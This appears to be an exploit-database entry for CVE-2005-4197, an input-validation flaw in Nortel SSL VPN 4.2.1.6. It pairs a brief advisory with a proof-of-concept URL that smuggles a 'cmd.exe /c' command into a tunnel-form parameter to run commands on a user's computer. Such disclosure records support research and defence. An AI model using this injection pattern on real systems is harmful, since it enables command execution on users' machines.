Nortel SSL VPN 4.2.1.6 - Web Interface Input Validation

Author: Daniel Fabian
type: webapps
platform: cgi
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date_added: 2005-12-08 
date_updated: 2013-07-12 
verified: 1 
codes: CVE-2005-4197;OSVDB-21615 
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source: https://www.securityfocus.com/bid/15798/info

Nortel SSL VPN is prone to an input validation vulnerability. This issue could be exploited to cause arbitrary commands to be executed on a user's computer. Cross-site scripting attacks are also possible.

Nortel SSL VPN 4.2.1.6 is vulnerable to this issue; other versions may also be affected.

https://SSL_VPN_SERVER/tunnelform.yaws?a=+cmd.exe+/c+echo+test+%3E+c:\\test.txt+&type=Custom&sp=443&n=1&ph=&pp=&0tm=tcp&0lh=127.0.0.1&0lp=8080&0hm=&0rh=10.10.10.10&0rp=80&sslEnabled=on&start=Start...